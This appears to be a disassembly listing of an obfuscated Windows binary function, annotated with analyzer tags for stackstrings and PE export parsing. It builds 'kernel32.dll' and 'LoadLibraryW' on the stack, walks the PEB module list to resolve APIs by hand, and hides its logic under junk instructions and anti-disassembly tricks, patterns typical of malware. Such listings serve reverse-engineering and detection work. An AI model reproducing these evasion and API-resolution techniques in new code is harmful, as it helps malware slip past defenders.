Function at 0x41dc50
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
push eax
and eax, 0x15251
jmp 0x41d8c7
add eax, 0x1029a
sub eax, 0x110b9
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1954], edx
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1958], ecx
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x15d8], edx
push ebx
push edi
add esp, 4
or ebx, 0x14496
and ebx, 0xdd66
or ebx, 0x14367
sub ebx, 0xccb
pop ebx
push edx
xor edx, 0xd3d7
pop edx
push edx
push ecx
add esp, 4
or edx, 0x2b71
pop edx
cmp dword [ebp - 0x15d8], 0
jne 0x41d946
mov dword [ebp - 0x31c], 0
jmp 0x41dc02
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push eax
add eax, 0xc830
pop eax
push ebx
push ebx
add esp, 4
and ebx, 0x99ee
or ebx, 0x60b4
add ebx, 0xc4cc
call 0x41d986
add byte [eax], bh
cmp dword ds:[esi], edi
cmp cl, byte [ebx + 0x41]
dec ecx
add esp, 4
pop ebx
cmp dword [ebp - 0xc98], 0
jne 0x41d9a2
mov dword [ebp - 0x31c], 0
jmp 0x41dc02
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push edx
sub edx, 0xde22
and edx, 0x8ee4
and edx, 0x63c4
add edx, 0x1cd6
pop edx
push eax
push ecx
add esp, 4
add eax, 0xad29
pop eax
push edx
push esi
add esp, 4
and edx, 0x6d03
pop edx
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push ebx
and ebx, 0x5e3c
sub ebx, 0x4ff9
sub ebx, 0xa89c
xor ebx, 0xef02
pop ebx
push eax
push esi
add esp, 4
add eax, 0xa85e
and eax, 0xc110
sub eax, 0x6350
pop eax
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push edx
push edx
add esp, 4
sub edx, 0x10add
pop edx
push eax
push ecx
add esp, 4
and eax, 0x7442
sub eax, 0x17949
sub eax, 0x10970
pop eax
push ebx
xor ebx, 0x213
xor ebx, 0xb672
pop ebx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x41daee
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e0], eax
jmp 0x41db51
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x41da0d
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x41da0d
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x41db3b
mov dword [ebp - 0x15dc], 0xffffffff
jmp 0x41db45
mov dword [ebp - 0x15dc], 1
mov edx, dword [ebp - 0x15dc]
mov dword [ebp - 0x15e0], edx
cmp dword [ebp - 0x15e0], 0
jne 0x41db9a
push eax
push eax
add esp, 4
jmp 0x41db64
call 0x41db74
add byte [edx], dh
dec eax
dec ebp
cmp eax, 0x49473748
dec ebp
add esp, 4
add eax, 0x10351
and eax, 0x11d9d
pop eax
push ebx
or ebx, 0xe7b2
pop ebx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x31c], eax
jmp 0x41dc02
push edi
push eax
add esp, 4
xor edi, 0x11344
test dword [ebx + edx + 1], 0x4c78100
push 0
add byte [edi + 0x57], bl
or edi, 0x8c49
pop edi
push edi
sub edi, 0x493b
pop edi
push ebx
sub ebx, 0x1608f
pushal
add dword [eax], eax
jmp 0x41dbcb
pop ebx
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x41dbf8
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x41d9ae
mov dword [ebp - 0x31c], 0
push ecx
jmp 0x41dc09
pop ecx
push ecx
push esi
add esp, 4
add ecx, 0x13ac6
pop ecx
push esi
push edx
add esp, 4
jmp 0x41dc21
add esi, 0x2252
jmp 0x41dc2d
sub esi, 0x3d80
pop esi
cmp dword [ebp - 0x31c], 0
jne 0x41e54d
mov edx, 0x6b
mov word [ebp - 0x1774], dx
mov eax, 0x65
add byte [eax], al
mov word [ebp - 0x1772], ax
mov ecx, 0x72
mov word [ebp - 0x1770], cx
mov edx, 0x6e
mov word [ebp - 0x176e], dx
mov eax, 0x65
mov word [ebp - 0x176c], ax
mov ecx, 0x6c
mov word [ebp - 0x176a], cx
mov edx, 0x33
mov word [ebp - 0x1768], dx
mov eax, 0x32
mov word [ebp - 0x1766], ax
mov ecx, 0x2e
mov word [ebp - 0x1764], cx
mov edx, 0x64
mov word [ebp - 0x1762], dx
mov eax, 0x6c
mov word [ebp - 0x1760], ax
mov ecx, 0x6c
mov word [ebp - 0x175e], cx
xor edx, edx
mov word [ebp - 0x175c], dx
push edx
push ebx
add esp, 4
sub edx, 0x16281
or edx, 0x4374
pop edx
push edx
push esi
add esp, 4
or edx, 0x3f65
pop edx
push edx
and edx, 0x359f
xor edx, 0xf935
xor eax, 0xeb0000f9
invalid
pop edx
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x195c], eax
mov ecx, dword [ebp - 0x195c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1960], edx
mov eax, dword [ebp - 0x1960]
mov dword [ebp - 0x15e4], eax
push edx
add edx, 0x8f7b
add edx, 0x12b0e
xor edx, 0x12d4b
add bl, ch
invalid
pop edx
push ecx
push eax
add esp, 4
sub ecx, 0x44f5
add ecx, 0xe4de
and ecx, 0x13a29
pop ecx
cmp dword [ebp - 0x15e4], 0
jne 0x41ddd8
mov dword [ebp - 0x750], 0
jmp 0x41e094
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push edx
push edi
add esp, 4
and edx, 0x7a0
call 0x41de04
add byte [esi], bh
cmp dword [esi + 0x50], eax
push eax
dec edi
cmp cl, byte [ebp + 0x34]
add esp, 4
sub edx, 0x17bbe
xor edx, 0xbbf7
pop edx
push edx
xor edx, 0x1c9f
pop edx
cmp dword [ebp - 0xca4], 0
jne 0x41de34
mov dword [ebp - 0x750], 0
jmp 0x41e094
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push ebx
push esi
add esp, 4
jmp 0x41de4d
sub ebx, 0xaace
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0x10e2b
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0x5c66
xor ebx, 0x3f02
pop ebx
lea edx, [ebp - 0x1774]
mov dword [ebp - 0xca0], edx
mov eax, dword [ebp - 0x508]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc9c], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push ebx
push edi
add esp, 4
sub ebx, 0xb74f
xor ebx, 0x2e22
and ebx, 0x27b8
call 0x41dec5
add byte [ebx + 0x36], cl
dec esi
aaa
cmp byte [edx], bh
cmp eax, 0xc4834342
add al, 0x5b
push ecx
xor ecx, 0x7b4f
pop ecx
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push edi
or edi, 0x28d2
jmp 0x41df3b
jmp 0x41df42
pop edi
push ebx
sub ebx, 0x2416
pop ebx
push edi
push esi
add esp, 4
add edi, 0x13991
or edi, 0xe07
pop edi
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x41df80
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15ec], ecx
jmp 0x41dfe3
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x41de9f
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x41de9f
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x41dfcd
mov dword [ebp - 0x15e8], 0xffffffff
jmp 0x41dfd7
mov dword [ebp - 0x15e8], 1
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x41e02c
push edi
call 0x41dffb
add byte [eax + edx*2], dh
dec eax
inc esp
dec esp
dec ebp
dec esi
inc edx
add esp, 4
and edi, 0x44e4
pop edi
push ecx
add ecx, 0x16f9c
jmp 0x41e015
pop ecx
push edi
jmp 0x41e01d
pop edi
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x41e094
push eax
push edx
add esp, 4
add eax, 0xae5d
call 0x41e045
add byte [edx], bh
dec ebx
dec ebp
push eax
xor al, byte [ebp + 0x3c]
cmp byte [ebx - 0x1f7efb3c], al
inc edx
add byte [eax], al
call 0x41e05a
add byte [edx], dh
cmp eax, dword [esi + 0x32]
inc eax
dec esi
add esp, 4
pop eax
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x41e08a
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x41de40
mov dword [ebp - 0x750], 0
push ebx
push edx
add esp, 4
call 0x41e0a9
add byte [eax + ecx*2 + 0x33], al
xor al, byte [ebx + 0x4d]
dec edx
cmp al, 0x3a
inc esi
add esp, 4
sub ebx, 0xafbc
and ebx, 0x1bec
pop ebx
push edi
jmp 0x41e0bf
xor edi, 0x5fde
pop edi
cmp dword [ebp - 0x750], 0
jne 0x41e110
push edx
or edx, 0x3297
or edx, 0x9c37
or edx, 0xbab9
call 0x41e0f1
add byte [edx], dh
inc esp
dec ebp
inc eax
inc edx
cmp cl, byte ss:[edi + 0x46]
add esp, 4
pop edx
push ebx
push ecx
add esp, 4
add ebx, 0x1783d
pop ebx
mov dword [ebp - 0x79c], 0
jmp 0x41ec37
push ebx
push edi
add esp, 4
jmp 0x41e11e
xor ebx, 0x168dc
sub ebx, 0x16789
pop ebx
push ebx
call 0x41e138
add byte [eax + 0x4c], cl
inc ebp
inc ecx
aas
add esp, 4
or ebx, 0x9ddc
pop ebx
mov eax, dword [ebp - 0x750]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x15f0], edx
cmp dword [ebp - 0x15f0], 0
jne 0x41e181
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x41e472
mov ecx, dword [ebp - 0x15f0]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15f4], edx
jne 0x41e1a9
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x41e472
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15f4]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x15f8], ecx
cmp dword [ebp - 0x15f8], 0
jne 0x41e1db
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
jmp 0x41e472
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x15f8]
mov dword [ebp - 0x754], eax
jne 0x41e200
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], ecx
jmp 0x41e472
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1964], eax
mov ecx, dword [ebp - 0x754]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1968], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x196c], ecx
mov dword [ebp - 0x758], 0
jmp 0x41e25a
mov edx, dword [ebp - 0x758]
add edx, 1
mov dword [ebp - 0x758], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x758]
cmp ecx, dword [eax + 0x18]
jae 0x41e466
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x1964]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x75c], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x1968]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x196c]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1970], eax
mov dword [ebp - 0x198], 0
jmp 0x41e2ca
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x41e37c
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
test edx, edx
je 0x41e37c
push esi
add esi, 0xae96
and esi, 0x13a36
pop esi
push eax
xor eax, 0x8c3e
call 0x41e319
add byte [edx + 0x41], cl
dec ecx
dec ebx
dec esi
push eax
cmp eax, 0x8104c483
invalid
push ebx
jmp 0x41e382
pop ebx
push edx
xor edx, 0x2a01
and edx, 0xab94
pop edx
push esi
push eax
add esp, 4
add esi, 0x17649
or esi, 0xa86b
jmp 0x41e3a7
or esi, 0x186e
pop esi
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
cmp eax, edx
jne 0x41e3db
mov dword [ebp - 0xca8], 0
jmp 0x41e44a
push ebx
push ebx
add esp, 4
add ebx, 0xfa93
add ebx, 0x63d0
add ebx, 0x83a4
pop ebx
push eax
sub eax, 0xf406
sub eax, 0x17f6
and eax, 0x14790
sub eax, 0xdc8f
pop eax
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
or eax, 0x20
cmp ecx, eax
jge 0x41e440
mov dword [ebp - 0xca8], 0xffffffff
jmp 0x41e44a
mov dword [ebp - 0xca8], 1
cmp dword [ebp - 0xca8], 0
jne 0x41e461
mov ecx, dword [ebp - 0x1970]
mov dword [ebp - 0x3f4], ecx
jmp 0x41e472
jmp 0x41e24b
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
cmp dword [ebp - 0x3f4], 0
je 0x41e54d
push esi
push eax
add esp, 4
call 0x41e490
add byte [ebp + 0x37], al
aas
dec esi
inc edx
dec ecx
add esp, 4
jmp 0x41e49b
call 0x41e4a7
add byte [esi], bh
inc esi
inc ebp
inc ebx
inc esi
add esp, 4
or esi, 0x690e
pop esi
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x1974], eax
push esi
push ecx
add esp, 4
or esi, 0x10f59
add esi, 0x515a
add esi, 0x10c21
and esi, 0x1def
pop esi
push eax
add eax, 0x2467
pop eax
push ecx
push edi
add esp, 4
and ecx, 0x6448
pop ecx
mov ecx, dword [ebp - 0x1974]
mov dword [ebp - 0x1978], ecx
lea edx, [ebp - 0x1738]
push edx
call dword [ebp - 0x1978]
test eax, eax
jne 0x41e54d
push edx
sub edx, 0x13a9a
call 0x41e522
add byte [ebx + 0x4a], al
cmp al, byte [ebp + 0x47]
aaa
cmp dh, byte [esi]
inc edi
add esp, 4
or edx, 0x3fba
call 0x41e53a
add byte [eax + edx*2], bh
inc edx
inc esi
inc ebp
inc ecx
dec ecx
inc edi
dec ecx
add esp, 4
pop edx
mov dword [ebp - 0x79c], 0
jmp 0x41ec37
push eax
push esi
add esp, 4
xor eax, 0x9b79
and eax, 0x17329
add eax, 0xea89
pop eax
push edx
push esi
add esp, 4
jmp 0x41e571
and edx, 0x14b49
jmp 0x41e57e
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x197c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1980], edx
mov eax, dword [ebp - 0x1980]
mov dword [ebp - 0x15fc], eax
push edx
push edi
add esp, 4
xor edx, 0xb810
pop edx
push edx
or edx, 0x5fc6
xor edx, 0x15743
add edx, 0x58e6
and edx, 0x11703
pop edx
push edx
push ecx
add esp, 4
or edx, 0xca7c
pop edx
cmp dword [ebp - 0x15fc], 0
jne 0x41e5f0
mov dword [ebp - 0x31c], 0
jmp 0x41e897
mov ecx, dword [ebp - 0x15fc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push edx
call 0x41e611
add byte [eax + ecx*2], bh
inc edx
inc esi
inc ebp
dec esi
aas
xor al, 0x83
les eax, [ecx + eax*4]
mov eax, dword [0xe800007d]
or byte [eax], al
add byte [eax], al
add byte [edi + 0x3c], al
dec esi
inc ecx
xor bh, byte [0x4c48343]
jmp 0x41e633
pop edx
cmp dword [ebp - 0xcb4], 0
jne 0x41e64c
mov dword [ebp - 0x31c], 0
jmp 0x41e897
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x50c], ecx
push esi
sub esi, 0x1161c
and esi, 0x10ca5
call 0x41e674
add byte [ebx + 0x34], al
inc ebp
inc ebp
dec ecx
dec edx
cmp byte [esi], bh
aas
add esp, 4
add esi, 0x131eb
pop esi
push ecx
push eax
add esp, 4
add ecx, 0x14540
pop ecx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcb0], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcac], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
jmp 0x41e6bb
or edi, 0x14ead
pop edi
push ecx
push ecx
add esp, 4
or ecx, 0x52b0
pop ecx
push edi
push ebx
add esp, 4
or edi, 0xcf42
xor edi, 0x44aa
sub edi, 0xbc85
pop edi
mov ecx, dword [ebp - 0xcac]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xcac]
add eax, 2
mov dword [ebp - 0xcac], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb0]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xcb0]
add ecx, 2
mov dword [ebp - 0xcb0], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x34], dx
push edx
push ecx
add esp, 4
call 0x41e74e
add byte [edx + 0x4d], al
inc edx
inc edx
inc ebp
add esp, 4
call 0x41e75e
add byte [ebx], dh
inc edi
xor eax, 0x4c3e3f33
add esp, 4
or edx, 0x6a49
jmp 0x41e76e
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x41e78c
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x1604], ecx
jmp 0x41e7e6
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x41e6b4
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x41e6b4
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x41e7d0
mov dword [ebp - 0x1600], 0xffffffff
jmp 0x41e7da
mov dword [ebp - 0x1600], 1
mov eax, dword [ebp - 0x1600]
mov dword [ebp - 0x1604], eax
cmp dword [ebp - 0x1604], 0
jne 0x41e82f
push esi
or esi, 0x8851
call 0x41e804
add byte [edi + 0x493e394b], dh
inc edi
dec ecx
add esp, 4
call 0x41e817
add byte [edi + esi], bh
inc ecx
cmp bh, byte [0x453c3838]
xor al, byte [ebx - 0x97efb3c]
test eax, 0x5e000003
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x31c], ecx
jmp 0x41e897
push edi
push ecx
add esp, 4
add edi, 0x14606
pop edi
push edx
push eax
add esp, 4
and edx, 0x3c7d
pop edx
push ebx
and ebx, 0xbf03
and ebx, 0x6496
or ebx, 0x41d7
xor ebx, 0x8a5f
pop ebx
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xcb4]
je 0x41e88d
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x41e658
mov dword [ebp - 0x31c], 0
push esi
push ebx
add esp, 4
sub esi, 0x12346
pop esi
push edx
or edx, 0xf471
sub edx, 0x150a0
pop edx
push eax
push edx
add esp, 4
or eax, 0x14cc5
add eax, 0x50c8
and eax, 0x17b4e
pop eax
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push ebx
jmp 0x41e8e0
or ebx, 0x115d8
xor ebx, 0x83c5
call 0x41e8fa
add byte [eax + edi + 0x42], cl
cmp ecx, dword [edx + 0x4d]
inc ecx
xor eax, dword [ebx + 0x515b04c4]
push ecx
add esp, 4
xor ecx, 0xc0b3
pop ecx
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1608], edx
cmp dword [ebp - 0x1608], 0
jne 0x41e93a
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x41ec2b
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x41e962
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x41ec2b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x41e994
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x41ec2b
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x41e9b9
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x41ec2b
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1984], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1988], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d10], ecx
mov dword [ebp - 0x768], 0
jmp 0x41ea13
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x41ec1f
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1984]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1988]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d10]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x198c], eax
mov dword [ebp - 0x19c], 0
jmp 0x41ea83
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x41eb35
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x41eb35
push edx
jmp 0x41eab9
sub edx, 0x2fa1
pop edx
push ebx
xor ebx, 0x2f9c
pop ebx
push eax
push edx
add esp, 4
jmp 0x41ead5
and eax, 0x13614
invalid
invalid
aas
les eax, [eax]